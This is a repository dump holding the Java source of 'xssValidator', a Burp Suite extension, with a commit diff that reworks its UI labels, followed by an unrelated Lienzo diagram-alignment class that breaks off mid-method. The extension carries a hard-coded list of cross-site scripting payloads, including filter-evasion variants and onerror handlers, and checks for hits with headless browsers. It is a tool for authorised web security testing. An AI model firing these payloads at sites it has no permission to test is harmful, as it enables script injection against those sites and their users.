" <li>Successful attacks will be denoted by presence of the <em>Grep Phrase</em>\n" +
"</ul>\n";
BurpExtender.this.htmlDescription = new JLabel(initialText);
BurpExtender.this.notice.add(titleLabel);
BurpExtender.this.notice.add(BurpExtender.this.htmlDescription);
/*
Server Config
*/
BurpExtender.this.serverConfig = new JPanel(new GridLayout(5,2));
BurpExtender.this.phantomURL = new JTextField(20);
BurpExtender.this.phantomURL
.setText(BurpExtender.phantomServer);
BurpExtender.this.slimerURL = new JTextField(20);
BurpExtender.this.slimerURL.setText(BurpExtender.slimerServer);
BurpExtender.this.grepVal = new JTextField(20);
BurpExtender.this.grepVal.setText(BurpExtender.grepPhrase);
JLabel phantomHeading = new JLabel("PhantomJS Server Settings");
JLabel slimerHeading = new JLabel("Slimer Server Settings");
JLabel grepHeading = new JLabel("Grep Phrase");
BurpExtender.this.serverConfig.add(phantomHeading);
BurpExtender.this.serverConfig
.add(BurpExtender.this.phantomURL);
BurpExtender.this.serverConfig.add(slimerHeading);
BurpExtender.this.serverConfig.add(BurpExtender.this.slimerURL);
BurpExtender.this.serverConfig.add(grepHeading);
BurpExtender.this.serverConfig.add(BurpExtender.this.grepVal);
JLabel functionsLabel = new JLabel("Javascript functions");
BurpExtender.this.serverConfig.add(functionsLabel);
BurpExtender.this.serverConfig
.add(BurpExtender.this.functionsTextfield);
JLabel eventHandlerLabel = new JLabel(
"Javascript event handlers");
BurpExtender.this.serverConfig.add(eventHandlerLabel);
BurpExtender.this.serverConfig
.add(BurpExtender.this.eventHandlerTextfield);
/*
* Right Panel
*/
String payloads = "";
for (byte[] bs:BurpExtender.PAYLOADS) {
payloads += new String(bs) + "\r\n";
}
BurpExtender.this.attackStringsTextarea = new JTextArea(30, 50);
BurpExtender.this.attackStringsTextarea.setText(payloads);
BurpExtender.this.scrollingArea = new JScrollPane(
BurpExtender.this.attackStringsTextarea,
ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS,
ScrollPaneConstants.HORIZONTAL_SCROLLBAR_ALWAYS);
JLabel payloadLabel = new JLabel("<html><center><h3>Payloads</h3>Custom Payloads \n" +
"can be defined here, seperated by linebreaks.<Br /></center><ul><li><b>{JAVASCRIPT}</b>\n" +
"placeholders define the location of the Javascript function.</li>\n" +
"<li><b>{EVENTHANDLER}</b> placeholders define location of Javascript events, <br />\n" +
"such as onmouseover, that are tested via scriptable browsers.</li></ul>");
BurpExtender.this.rightPanel.add(payloadLabel);
BurpExtender.this.rightPanel
.add(BurpExtender.this.scrollingArea);
BurpExtender.this.leftPanel.add(BurpExtender.this.notice);
BurpExtender.this.leftPanel.add(BurpExtender.this.serverConfig);
BurpExtender.this.mainPanel.add(BurpExtender.this.leftPanel);
BurpExtender.this.mainPanel.add(BurpExtender.this.rightPanel);
BurpExtender.this.mCallbacks
.customizeUiComponent(BurpExtender.this.mainPanel);
BurpExtender.this.mCallbacks.addSuiteTab(BurpExtender.this);
}
});
}
}
| burp-extender/src/burp/BurpExtender.java | package burp;
import java.awt.BorderLayout;
import java.awt.GridLayout;
import java.awt.Font;
import java.awt.Component;
import java.awt.Dimension;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;
import javax.swing.JButton;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JTabbedPane;
import javax.swing.JTextArea;
import javax.swing.JTextField;
import javax.swing.ScrollPaneConstants;
import javax.swing.SwingUtilities;
import org.apache.commons.codec.binary.Base64;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.util.EntityUtils;
import burp.ITab;
public class BurpExtender implements IBurpExtender, ITab, IHttpListener,
IIntruderPayloadGeneratorFactory, IIntruderPayloadProcessor {
class IntruderPayloadGenerator implements IIntruderPayloadGenerator {
int payloadIndex;
String[] functions = {"alert", "console.log", "confirm",
"prompt"};
String[] eventHandler = null;
int functionIndex = 0;
int eventHandlerIndex = 0;
BurpExtender extenderInstance = null;
String[] PAYLOADS = null;
IntruderPayloadGenerator(BurpExtender extenderInstance) {
this.extenderInstance = extenderInstance;
this.functions = extenderInstance.functionsTextfield.getText()
.split(",");
this.eventHandler = extenderInstance.eventHandlerTextfield
.getText().split(",");
this.PAYLOADS = extenderInstance.attackStringsTextarea.getText()
.split("\r\n");
}
public byte[] getNextPayload(byte[] baseValue) {
if ((this.eventHandler.length > 0)
&& (this.eventHandlerIndex >= this.eventHandler.length)) {
this.eventHandlerIndex = 0;
this.functionIndex += 1;
}
if (this.functionIndex >= this.functions.length) {
this.functionIndex = 0;
this.eventHandlerIndex = 0;
this.payloadIndex += 1;
}
String payload = this.PAYLOADS[this.payloadIndex];
boolean eventhandlerIsUsed = payload
.contains(BurpExtender.EVENTHANDLER_PLACEHOLDER);
// String nextPayload = new String(payload);
if (eventhandlerIsUsed) {
payload = payload.replace(
BurpExtender.EVENTHANDLER_PLACEHOLDER,
this.eventHandler[this.eventHandlerIndex]);
}
payload = payload.replace(BurpExtender.JAVASCRIPT_PLACEHOLDER,
this.functions[this.functionIndex] + "("
+ BurpExtender.triggerPhrase + ")");
BurpExtender.this.stdout.println("Payload conversion: " + payload);
if (!eventhandlerIsUsed) {
this.functionIndex += 1;
}
else {
this.eventHandlerIndex += 1;
}
return payload.getBytes();
}
public boolean hasMorePayloads() {
return this.payloadIndex < BurpExtender.PAYLOADS.length;
}
public void reset() {
this.payloadIndex = 0;
}
}
public IBurpExtenderCallbacks mCallbacks;
private IExtensionHelpers helpers;
private PrintWriter stdout;
private PrintWriter stderr;
private HttpClient client;
private static String phantomServer = "http://127.0.0.1:8093";
private static String slimerServer = "http://127.0.0.1:8094";
private static String triggerPhrase = "299792458";
private static String grepPhrase = "fy7sdufsuidfhuisdf";
public JLabel htmlDescription;
public JPanel mainPanel;
public JPanel leftPanel;
public JPanel serverConfig;
public JPanel notice;
public JPanel rightPanel;
public JTextField phantomURL;
public JTextField slimerURL;
public JTextField grepVal;
public JTabbedPane tabbedPane;
public JButton btnAddText;
public JButton btnSaveTabAsTemplate;
public JButton btnRemoveTab;
public JTextField functionsTextfield;
public JTextArea attackStringsTextarea;
public JTextField eventHandlerTextfield;
public JScrollPane scrollingArea;
public static final String JAVASCRIPT_PLACEHOLDER = "{JAVASCRIPT}";
public static final String EVENTHANDLER_PLACEHOLDER = "{EVENTHANDLER}";
public static final byte[][] PAYLOADS = {
("<script>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</script>").getBytes(),
("<scr ipt>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</scr ipt>").getBytes(),
("\"><script>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</script>").getBytes(),
("\"><script>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</script><\"").getBytes(),
("'><script>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</script>").getBytes(),
("'><script>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</script><'").getBytes(),
("<SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";</SCRIPT>").getBytes(),
("<scri<script>pt>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";</scr</script>ipt>").getBytes(),
("<SCRI<script>PT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";</SCR</script>IPT>").getBytes(),
("<scri<scr<script>ipt>pt>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";</scr</sc</script>ript>ipt>").getBytes(),
("\";" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";\"").getBytes(),
("';" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";'").getBytes(),
(";" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";").getBytes(),
("<SCR%00IPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</SCR%00IPT>").getBytes(),
("\\\";" + BurpExtender.JAVASCRIPT_PLACEHOLDER + ";//").getBytes(),
("<STYLE TYPE=\"text/javascript\">"
+ BurpExtender.JAVASCRIPT_PLACEHOLDER + ";</STYLE>").getBytes(),
("<scr%0aipt>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</scr%0aipt>").getBytes(),
("<scr%0aipt>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</scr%0aipt>").getBytes(),
("<<SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "//<</SCRIPT>").getBytes(),
("\"" + BurpExtender.EVENTHANDLER_PLACEHOLDER + "="
+ BurpExtender.JAVASCRIPT_PLACEHOLDER + " ").getBytes(),
("<scr\nipt>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</scr\nipt>").getBytes(),
("<<SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "//<</SCRIPT>").getBytes(),
("<img src=\"1\" onerror=\"" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "\">").getBytes(),
("<img src='1' onerror='" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "'").getBytes(),
("onerror=\"" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "\"").getBytes(),
("onerror='" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "'").getBytes(),
("onload=\"" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "\"").getBytes(),
("onload='" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "'").getBytes(),
("<IMG \"\"\"><SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</SCRIPT>\">").getBytes(),
("<IMG '''><SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "</SCRIPT>'>").getBytes(),
("\"\"\"><SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "").getBytes(),
("'''><SCRIPT>" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "'").getBytes(),
("<IFRAME SRC='f' onerror=\"" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "\"></IFRAME>").getBytes(),
("<IFRAME SRC='f' onerror='" + BurpExtender.JAVASCRIPT_PLACEHOLDER + "'></IFRAME>").getBytes()
};
public IIntruderPayloadGenerator createNewInstance(IIntruderAttack attack) {
return new IntruderPayloadGenerator(this);
}
public String getGeneratorName() {
return "XSS Validator Payloads";
}
public String getProcessorName() {
return "XSS Validator";
}
public String getTabCaption() {
return "xssValidator";
}
public Component getUiComponent() {
return this.mainPanel;
}
public void processHttpMessage(int toolFlag, boolean messageIsRequest,
IHttpRequestResponse messageInfo) {
if ((toolFlag != 32) || (!messageIsRequest)) {
if ((toolFlag == 32) && (!messageIsRequest)) {
HttpPost PhantomJs = new HttpPost(this.phantomURL.getText());
HttpPost SlimerJS = new HttpPost(this.slimerURL.getText());
try {
byte[] encodedBytes = Base64.encodeBase64(messageInfo
.getResponse());
String encodedResponse = this.helpers
.bytesToString(encodedBytes);
List nameValuePairs = new ArrayList(1);
nameValuePairs.add(new BasicNameValuePair("http-response",
encodedResponse));
PhantomJs
.setEntity(new UrlEncodedFormEntity(nameValuePairs));
HttpResponse response = this.client.execute(PhantomJs);
String responseAsString = EntityUtils.toString(response
.getEntity());
this.stdout.println("Response: " + responseAsString);
if (responseAsString.toLowerCase().contains(
BurpExtender.triggerPhrase.toLowerCase())) {
String newResponse = this.helpers
.bytesToString(messageInfo.getResponse())
+ this.grepVal.getText();
messageInfo.setResponse(this.helpers
.stringToBytes(newResponse));
this.stdout.println("XSS Found");
}
}catch (Exception e) {
this.stderr.println(e.getMessage());
}
try {
byte[] encodedBytes = Base64.encodeBase64(messageInfo
.getResponse());
String encodedResponse = this.helpers
.bytesToString(encodedBytes);
List nameValuePairs = new ArrayList(1);
nameValuePairs.add(new BasicNameValuePair("http-response",
encodedResponse));
SlimerJS.setEntity(new UrlEncodedFormEntity(nameValuePairs));
HttpResponse response = this.client.execute(SlimerJS);
String responseAsString = EntityUtils.toString(response
.getEntity());
this.stdout.println("Response: " + responseAsString);
if (responseAsString.toLowerCase().contains(
BurpExtender.triggerPhrase.toLowerCase())) {
String newResponse = this.helpers
.bytesToString(messageInfo.getResponse())
+ this.grepVal.getText();
messageInfo.setResponse(this.helpers
.stringToBytes(newResponse));
this.stdout.println("XSS Found");
}
}catch (Exception e) {
this.stderr.println(e.getMessage());
}
}
}
}
public byte[] processPayload(byte[] currentPayload, byte[] originalPayload,
byte[] baseValue) {
return this.helpers.stringToBytes(this.helpers.urlEncode(this.helpers
.bytesToString(currentPayload)));
}
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
this.mCallbacks = callbacks;
this.client = HttpClientBuilder.create().build();
this.helpers = callbacks.getHelpers();
callbacks.setExtensionName("XSS Validator Payloads");
this.stdout = new PrintWriter(callbacks.getStdout(), true);
this.stderr = new PrintWriter(callbacks.getStderr(), true);
callbacks.registerIntruderPayloadGeneratorFactory(this);
callbacks.registerIntruderPayloadProcessor(this);
callbacks.registerHttpListener(this);
SwingUtilities.invokeLater(new Runnable() {
public void run() {
BurpExtender.this.functionsTextfield = new JTextField(30);
BurpExtender.this.functionsTextfield
.setText("alert,console.log,confirm,prompt");
BurpExtender.this.eventHandlerTextfield = new JTextField(30);
BurpExtender.this.eventHandlerTextfield
.setText("onmousemove,onmouseout,onmouseover");
BurpExtender.this.mainPanel = new JPanel(new GridLayout(1, 2));
BurpExtender.this.leftPanel = new JPanel(new GridLayout(2, 1));
BurpExtender.this.rightPanel = new JPanel();
/*
* Notice Stuff
*/
BurpExtender.this.notice = new JPanel();
JLabel titleLabel = new JLabel("xssValidator");
titleLabel.setFont(new Font("Serif", Font.PLAIN, 20));
Dimension d = titleLabel.getPreferredSize();
titleLabel.setPreferredSize(new Dimension(d.width+60,d.height));
String initialText = "<html>\n" +
"<em>xssValidator is an intruder extender with a customizable list of payloads, \n" +
"that couples<br />with the Phantom.js and Slimer.js scriptable browsers to provide validation<br />\n" +
"of cross-site scripting vulnerabilities.</em><br /><br />\n" +
"<b>Getting started:</b>\n" +
"<ul>\n" +
" <li>Download latest version of xss-detectors from the git repository</li>\n" +
" <li>Start the phantom server: phantomjs xss.js</li>\n" +
" <li>Create a new intruder tab, select <em>Extension-generated</em> \n" +
" payload.</li>" +
" <li>Under the intruder options tab, add the <em>Grep Phrase</em> to \n" +
" the <em>Grep-Match</em> panel</li>" +
" <li>Successful attacks will be denoted by presence of the <em>Grep Phrase</em>\n" +
"</ul>\n";
BurpExtender.this.htmlDescription = new JLabel(initialText);
BurpExtender.this.notice.add(titleLabel);
BurpExtender.this.notice.add(BurpExtender.this.htmlDescription);
/*
Server Config
*/
BurpExtender.this.serverConfig = new JPanel(new GridLayout(5,2));
BurpExtender.this.phantomURL = new JTextField(20);
BurpExtender.this.phantomURL
.setText(BurpExtender.phantomServer);
BurpExtender.this.slimerURL = new JTextField(20);
BurpExtender.this.slimerURL.setText(BurpExtender.slimerServer);
BurpExtender.this.grepVal = new JTextField(20);
BurpExtender.this.grepVal.setText(BurpExtender.grepPhrase);
JLabel phantomHeading = new JLabel("PhantomJS Server Settings");
JLabel slimerHeading = new JLabel("Slimer Server Settings");
JLabel grepHeading = new JLabel("Grep Phrase");
BurpExtender.this.serverConfig.add(phantomHeading);
BurpExtender.this.serverConfig
.add(BurpExtender.this.phantomURL);
BurpExtender.this.serverConfig.add(slimerHeading);
BurpExtender.this.serverConfig.add(BurpExtender.this.slimerURL);
BurpExtender.this.serverConfig.add(grepHeading);
BurpExtender.this.serverConfig.add(BurpExtender.this.grepVal);
JLabel functionsLabel = new JLabel("Javascript functions");
BurpExtender.this.serverConfig.add(functionsLabel);
BurpExtender.this.serverConfig
.add(BurpExtender.this.functionsTextfield);
JLabel eventHandlerLabel = new JLabel(
"Javascript event handlers");
BurpExtender.this.serverConfig.add(eventHandlerLabel);
BurpExtender.this.serverConfig
.add(BurpExtender.this.eventHandlerTextfield);
/*
* Right Panel
*/
String payloads = "";
for (byte[] bs:BurpExtender.PAYLOADS) {
payloads += new String(bs) + "\r\n";
}
BurpExtender.this.attackStringsTextarea = new JTextArea(30, 50);
BurpExtender.this.attackStringsTextarea.setText(payloads);
BurpExtender.this.scrollingArea = new JScrollPane(
BurpExtender.this.attackStringsTextarea,
ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS,
ScrollPaneConstants.HORIZONTAL_SCROLLBAR_ALWAYS);
JLabel payloadLabel = new JLabel("Payloads");
payloadLabel.setFont(new Font("Serif", Font.PLAIN, 18));
BurpExtender.this.rightPanel.add(payloadLabel);
BurpExtender.this.rightPanel
.add(BurpExtender.this.scrollingArea);
BurpExtender.this.leftPanel.add(BurpExtender.this.notice);
BurpExtender.this.leftPanel.add(BurpExtender.this.serverConfig);
BurpExtender.this.mainPanel.add(BurpExtender.this.leftPanel);
BurpExtender.this.mainPanel.add(BurpExtender.this.rightPanel);
BurpExtender.this.mCallbacks
.customizeUiComponent(BurpExtender.this.mainPanel);
BurpExtender.this.mCallbacks.addSuiteTab(BurpExtender.this);
}
});
}
}
| Made some formatting changes
| burp-extender/src/burp/BurpExtender.java | Made some formatting changes | <ide><path>urp-extender/src/burp/BurpExtender.java
<ide>
<ide> public class BurpExtender implements IBurpExtender, ITab, IHttpListener,
<ide> IIntruderPayloadGeneratorFactory, IIntruderPayloadProcessor {
<add> private static final String VERSION = "2.1.0";
<ide>
<ide> class IntruderPayloadGenerator implements IIntruderPayloadGenerator {
<ide>
<ide> * Notice Stuff
<ide> */
<ide> BurpExtender.this.notice = new JPanel();
<del> JLabel titleLabel = new JLabel("xssValidator");
<del> titleLabel.setFont(new Font("Serif", Font.PLAIN, 20));
<del> Dimension d = titleLabel.getPreferredSize();
<del> titleLabel.setPreferredSize(new Dimension(d.width+60,d.height));
<add> JLabel titleLabel = new JLabel("<html><center><h2>xssValidator</h2>Created By: <em>John Poulin</em> (@forced-request)<br />\n" +
<add> "Version: " + BurpExtender.this.VERSION + "</center><br />");
<add>
<ide> String initialText = "<html>\n" +
<ide> "<em>xssValidator is an intruder extender with a customizable list of payloads, \n" +
<ide> "that couples<br />with the Phantom.js and Slimer.js scriptable browsers to provide validation<br />\n" +
<ide> " <li>Under the intruder options tab, add the <em>Grep Phrase</em> to \n" +
<ide> " the <em>Grep-Match</em> panel</li>" +
<ide> " <li>Successful attacks will be denoted by presence of the <em>Grep Phrase</em>\n" +
<del> "</ul>\n";
<add> "</ul>\n";
<ide> BurpExtender.this.htmlDescription = new JLabel(initialText);
<ide> BurpExtender.this.notice.add(titleLabel);
<ide> BurpExtender.this.notice.add(BurpExtender.this.htmlDescription);
<ide> ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS,
<ide> ScrollPaneConstants.HORIZONTAL_SCROLLBAR_ALWAYS);
<ide>
<del> JLabel payloadLabel = new JLabel("Payloads");
<del> payloadLabel.setFont(new Font("Serif", Font.PLAIN, 18));
<add> JLabel payloadLabel = new JLabel("<html><center><h3>Payloads</h3>Custom Payloads \n" +
<add> "can be defined here, seperated by linebreaks.<Br /></center><ul><li><b>{JAVASCRIPT}</b>\n" +
<add> "placeholders define the location of the Javascript function.</li>\n" +
<add> "<li><b>{EVENTHANDLER}</b> placeholders define location of Javascript events, <br />\n" +
<add> "such as onmouseover, that are tested via scriptable browsers.</li></ul>");
<ide> BurpExtender.this.rightPanel.add(payloadLabel);
<ide> BurpExtender.this.rightPanel
<ide> .add(BurpExtender.this.scrollingArea); |
|
Java | apache-2.0 | 585db857ceb7f43ddcd5dd51a7fd4946ed0bc1f4 | 0 | mdproctor/lienzo-core,ahome-it/lienzo-core,qmx/lienzo-core,Josephblt/lienzo-core |
package com.ait.lienzo.client.core.shape.wires;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.Set;
import com.ait.lienzo.client.core.Attribute;
import com.ait.lienzo.client.core.event.AttributesChangedEvent;
import com.ait.lienzo.client.core.event.AttributesChangedHandler;
import com.ait.lienzo.client.core.event.HandlerRegistrationManager;
import com.ait.lienzo.client.core.event.NodeDragEndEvent;
import com.ait.lienzo.client.core.event.NodeDragEndHandler;
import com.ait.lienzo.client.core.shape.Attributes;
import com.ait.lienzo.client.core.shape.Layer;
import com.ait.lienzo.client.core.shape.Line;
import com.ait.lienzo.client.core.shape.PolyLine;
import com.ait.lienzo.client.core.shape.Shape;
import com.ait.lienzo.client.core.types.BoundingBox;
import com.ait.lienzo.client.core.types.DashArray;
import com.ait.lienzo.client.core.types.NFastStringSet;
import com.ait.lienzo.client.core.types.Point2D;
import com.ait.lienzo.client.core.types.Point2DArray;
import com.ait.lienzo.client.widget.DragConstraintEnforcer;
import com.ait.lienzo.client.widget.DragContext;
import com.google.gwt.event.shared.HandlerRegistration;
import static com.ait.lienzo.client.core.AttributeOp.*;
/**
* This class indexes related classes for alignment and distribution.
*
* an index is maintained for each edge and center for alignment and distribution.
*
* All indexing is done by rounding the double value - using Math.round.
*
* It then uses this information to optional show guidelines or perform snapping. These can be turned on and off using the setter methods of this class
*
* It's possible to control the style of the guideline when drawn. By using the style setter methods of this class.
*
* The circa property controls the number of pixes to search from the current position. For instance a circle of 4, will search 4 pixels
* above and 4 pixels below the current y position, as well as 4 pixels to the left and 4 pixels to the right. As soon as the first index has a match, the search stops and snapping is done to that offset.
*
* The implementation is fairly generic and uses shape.getBoundingBox to do it's work. There is only one bit that is shape specific,
* which is the attribute listener, so the engine can determine if a shape has been moved or resized. For example in the case of a rectangle
* this is the x, y, w and h attributes - this would be different for other shapes. For this reason each shape that is to be indexed
* must have handler class that extends EdgeAndCenterIndexHandler. Currently only Rectangle and Circle has this. To make this invisible to the engine each shape
* has a method "public EdgeAndCenterIndexHandler getAlignAndDistributeHandler(EdgeAndCenterIndex edgeAndCenterIndex, AlignmentCallback alignmentCallback)"
* which encapsulates the shape specific part handler.
*
* The initial design actually allows for any generic callback when alignment is found - so users could provide their own listeners, if they wanted. However
* until a use case is found for this, it has not been exposed yet.
*/
public class AlignAndDistribute
{
private Map<Double, LinkedList<AlignAndDistributeHandler>> m_leftIndex;
private Map<Double, LinkedList<AlignAndDistributeHandler>> m_hCenterIndex;
private Map<Double, LinkedList<AlignAndDistributeHandler>> m_rightIndex;
private Map<Double, LinkedList<AlignAndDistributeHandler>> m_topIndex;
private Map<Double, LinkedList<AlignAndDistributeHandler>> m_vCenterIndex;
private Map<Double, LinkedList<AlignAndDistributeHandler>> m_bottomIndex;
private Map<Double, LinkedList<DistributionEntry>> m_leftDistIndex;
private Map<Double, LinkedList<DistributionEntry>> m_hCenterDistIndex;
private Map<Double, LinkedList<DistributionEntry>> m_rightDistIndex;
private Map<Double, LinkedList<DistributionEntry>> m_topDistIndex;
private Map<Double, LinkedList<DistributionEntry>> m_vCenterDistIndex;
private Map<Double, LinkedList<DistributionEntry>> m_bottomDistIndex;
private DefaultAlignAndDistributeMatchesCallback m_alignmentCallback;
private Map<String, AlignAndDistributeHandler> m_shapes = new HashMap<String, AlignAndDistributeHandler>();
private int m_circa = 4;
protected boolean m_snap = true;
protected boolean m_drawGuideLines = true;
public AlignAndDistribute(Layer layer)
{
m_leftIndex = new HashMap<Double, LinkedList<AlignAndDistributeHandler>>();
m_hCenterIndex = new HashMap<Double, LinkedList<AlignAndDistributeHandler>>();
m_rightIndex = new HashMap<Double, LinkedList<AlignAndDistributeHandler>>();
m_topIndex = new HashMap<Double, LinkedList<AlignAndDistributeHandler>>();
m_vCenterIndex = new HashMap<Double, LinkedList<AlignAndDistributeHandler>>();
m_bottomIndex = new HashMap<Double, LinkedList<AlignAndDistributeHandler>>();
m_alignmentCallback = new DefaultAlignAndDistributeMatchesCallback(layer);
m_leftDistIndex = new HashMap<Double, LinkedList<DistributionEntry>>();
m_hCenterDistIndex = new HashMap<Double, LinkedList<DistributionEntry>>();
m_rightDistIndex = new HashMap<Double, LinkedList<DistributionEntry>>();
m_topDistIndex = new HashMap<Double, LinkedList<DistributionEntry>>();
m_vCenterDistIndex = new HashMap<Double, LinkedList<DistributionEntry>>();
m_bottomDistIndex = new HashMap<Double, LinkedList<DistributionEntry>>();
}
public double getStrokeWidth()
{
return m_alignmentCallback.getStrokeWidth();
}
public void setStrokeWidth(double strokeWidth)
{
m_alignmentCallback.setStrokeWidth(strokeWidth);
}
public String getStrokeColor()
{
return m_alignmentCallback.getStrokeColor();
}
public void setStrokeColor(String strokeColor)
{
m_alignmentCallback.setStrokeColor(strokeColor);
}
public DashArray getDashArray()
{
return m_alignmentCallback.getDashArray();
}
public void setDashArray(DashArray dashArray)
{
m_alignmentCallback.setDashArray(dashArray);
}
public int getSnapCirca()
{
return m_circa;
}
public void setSnapCirca(int circa)
{
m_circa = circa;
}
public boolean isSnap()
{
return m_snap;
}
public void setSnap(boolean snap)
{
m_snap = snap;
}
public boolean isDrawGuideLines()
{
return m_drawGuideLines;
}
public void setDrawGuideLines(boolean drawGuideLines)
{
m_drawGuideLines = drawGuideLines;
}
public void addShape(Shape<?> shape)
{
String uuid = shape.uuid();
AlignAndDistributeHandler handler = m_shapes.get(uuid);
if ( handler == null )
{
// only add if the shape has not already been added
handler = new AlignAndDistributeHandler(shape, this, m_alignmentCallback, shape.getBoundingBoxAttributes());
m_shapes.put(uuid, handler);
}
}
public void removeShape(Shape<?> shape)
{
AlignAndDistributeHandler handler = m_shapes.get(shape.uuid());
indexOff(handler);
m_shapes.remove(shape.uuid());
handler.removeHandlerRegistrations();
}
public void addAlignIndexEntry(Map<Double, LinkedList<AlignAndDistributeHandler>> index, AlignAndDistributeHandler handler, double pos)
{
double rounded = round(pos);
LinkedList<AlignAndDistributeHandler> bucket = index.get(rounded);
if (bucket == null)
{
bucket = new LinkedList<AlignAndDistributeHandler>();
index.put(rounded, bucket);
}
bucket.add(handler);
}
public void removeAlignIndexEntry(Map<Double, LinkedList<AlignAndDistributeHandler>> index, AlignAndDistributeHandler handler, double pos)
{
double rounded = round(pos);
LinkedList<AlignAndDistributeHandler> bucket = index.get(rounded);
bucket.remove(handler);
if (bucket.isEmpty())
{
index.remove(rounded);
}
}
public void addDistIndexEntry(Map<Double, LinkedList<DistributionEntry>> index, DistributionEntry dist)
{
LinkedList<DistributionEntry> bucket = index.get(dist.getPoint());
if (bucket == null)
{
bucket = new LinkedList<DistributionEntry>();
index.put(dist.getPoint(), bucket);
}
bucket.add(dist);
}
public void removeDistIndexEntry(Map<Double, LinkedList<DistributionEntry>> index, DistributionEntry dist)
{
LinkedList<DistributionEntry> bucket = index.get(dist.getPoint());
bucket.remove(dist);
if (bucket.isEmpty())
{
index.remove(dist.getPoint());
}
}
public void removeDistIndex(AlignAndDistributeHandler handler)
{
removeHorizontalDistIndex(handler);
removeVerticalDistIndex(handler);
}
public void removeHorizontalDistIndex(AlignAndDistributeHandler handler)
{
for (DistributionEntry dist : handler.getHorizontalDistributionEntries())
{
AlignAndDistributeHandler h1 = dist.getShape1();
AlignAndDistributeHandler h2 = dist.getShape2();
// make sure we don't remove from handler, or it will remove from the collection currently being iterated.
if (handler == h1)
{
h2.getHorizontalDistributionEntries().remove(dist);
}
else
{
h1.getHorizontalDistributionEntries().remove(dist);
}
switch (dist.getDistributionType())
{
case DistributionEntry.LEFT_DIST:
removeDistIndexEntry(m_leftDistIndex, dist);
break;
case DistributionEntry.H_CENTER_DIST:
removeDistIndexEntry(m_hCenterDistIndex, dist);
break;
case DistributionEntry.RIGHT_DIST:
removeDistIndexEntry(m_rightDistIndex, dist);
break;
}
}
handler.getHorizontalDistributionEntries().clear();
}
public void removeVerticalDistIndex(AlignAndDistributeHandler handler)
{
for (DistributionEntry dist : handler.getVerticalDistributionEntries())
{
AlignAndDistributeHandler h1 = dist.getShape1();
AlignAndDistributeHandler h2 = dist.getShape2();
// make sure we don't remove from handler, or it will remove from the collection currently being iterated.
if (handler == h1)
{
h2.getVerticalDistributionEntries().remove(dist);
}
else
{
h1.getVerticalDistributionEntries().remove(dist);
}
switch (dist.getDistributionType())
{
case DistributionEntry.TOP_DIST:
removeDistIndexEntry(m_topDistIndex, dist);
break;
case DistributionEntry.V_CENTER_DIST:
removeDistIndexEntry(m_vCenterDistIndex, dist);
break;
case DistributionEntry.BOTTOM_DIST:
removeDistIndexEntry(m_bottomDistIndex, dist);
break;
}
}
handler.getVerticalDistributionEntries().clear();
}
public void buildDistIndex(AlignAndDistributeHandler handler)
{
buildHorizontalDistIndex(handler);
buildVerticalDistIndex(handler);
}
public void buildHorizontalDistIndex(AlignAndDistributeHandler handler)
{
double left = round(handler.getLeft());
double right = round(handler.getRight());
for (AlignAndDistributeHandler otherH : m_shapes.values())
{
if (skipShape(handler, otherH))
{
continue;
}
double otherLeft = round(otherH.getLeft());
double otherRight = round(otherH.getRight());
DistributionEntry leftDist = null;
DistributionEntry hCenterDist = null;
DistributionEntry rightDist = null;
if (otherRight < left)
{
double dx = left - otherRight;
double leftPoint = otherLeft - dx;
double rightPoint = right + dx;
double centerPoint = round(otherRight + ((left - otherRight) / 2));
leftDist = new DistributionEntry(otherH, handler, leftPoint, DistributionEntry.LEFT_DIST);
hCenterDist = new DistributionEntry(otherH, handler, centerPoint, DistributionEntry.H_CENTER_DIST);
rightDist = new DistributionEntry(otherH, handler, rightPoint, DistributionEntry.RIGHT_DIST);
}
else if (otherLeft > right)
{
double dx = otherLeft - right;
double leftPoint = left - dx;
double rightPoint = otherRight + dx;
double centerPoint = round(otherLeft + ((right - otherLeft) / 2));
leftDist = new DistributionEntry(handler, otherH, leftPoint, DistributionEntry.LEFT_DIST);
hCenterDist = new DistributionEntry(handler, otherH, centerPoint, DistributionEntry.H_CENTER_DIST);
